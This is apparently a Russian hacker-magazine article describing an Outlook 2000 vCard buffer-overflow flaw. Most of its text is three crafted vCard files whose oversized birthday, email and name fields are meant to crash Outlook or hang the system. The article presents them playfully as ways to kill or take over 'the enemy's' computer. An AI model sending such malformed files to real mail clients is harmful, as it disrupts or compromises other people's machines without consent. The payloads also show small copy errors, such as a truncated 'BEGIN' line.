Хакер #305. Многошаговые SQL-инъекции
Как мы все знаем Outlook 2000
поддерживает технологию vCrad, которая помогает
идетенфицировать отправителя емайла. vCards обычно
посылаются как прикрепленные файлы к msg (сам
емайл), где vCrad содержит разные поля и
соответствующие данные. Данные, которые
превышают 75 символов в длине, по идее, должны
обрезаться, но на деле все по другому. Outlook не
следует указаниям разработчиков и при получении
VCard, содержащей переполненные поля с данными -
происходит беспричинное пожирание ресурсов
компьютера или система просто уходит в даун.
Демонстрация:
1. Bye, bye, bye или смерть Outlook'а
EGIN:VCARD
VERSION:2.1
N:Berger;Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of
Germany.
TEL;WORK;VOICE:(873) 323-3213
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423efdsdfsd= 0D=0A4534534tertgerwtgr, TN
34564=0D=0AUnited States of America
URL: URL:http://bin.false/
ROLE:sadf
BDAY:1963091513084827349 2749723947923749273942394792734972394729374927
4982739472937492873
EMAIL;PREF;INTERNET:mb@goerlitz.de
REV:20000830T191121Z
END:VCARD
2. Нет, полежи пока в земле.
Смерть Outlook'у или умирать можно по-разному!
BEGIN:VCARD
VERSION:2.1
N:Berger;Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of
Germany.
TEL;WORK;VOICE:(873) 323-3213
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United
States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423efdsdfsd= 0D=0A4534534tertgerwtgr, TN
34564=0D=0AUnited States of America
URL: URL:http://bin.false/
ROLE:sadf
BDAY:19630915
EMAIL;PREF;INTERNET:mb@goerlitz.de.sadsack. nothing.doing.is.an.overflo
.possible.sadsack.not hing.doing.is.an.overflow.possible. sadsack.nothing.doing.is.an.overflow.possible.com
REV:20000830T191121Z
END:VCARD
3. Ладно живи. Юзаем комп врага
на 99% 🙂
BEGIN:VCARD
VERSION:2.1
N:Berger MeisterBerger MeisterBerger MeisterBerger MeisterBerger MeisterBerger Meister
Berger MeisterBerger MeisterBerger MeisterBerger MeisterBerger MeisterBerger MeisterBerger
MeisterBerger Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of Germany.
TEL;WORK;VOICE:(873) 323-3213
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423efdsdfsd= 0D=0A4534534tertgerwtgr, TN
34564=0D=0AUnited States of America
URL: URL:http://bin.false/
ROLE:sadf
BDAY:19630915
EMAIL;PREF;INTERNET:mb@goerlitz.de
REV:20000830T191121Z
END:VCARD
Микрософт, как всегда,
воздержалась от комментариев. Предлагаю юзать The
bat! 🙂
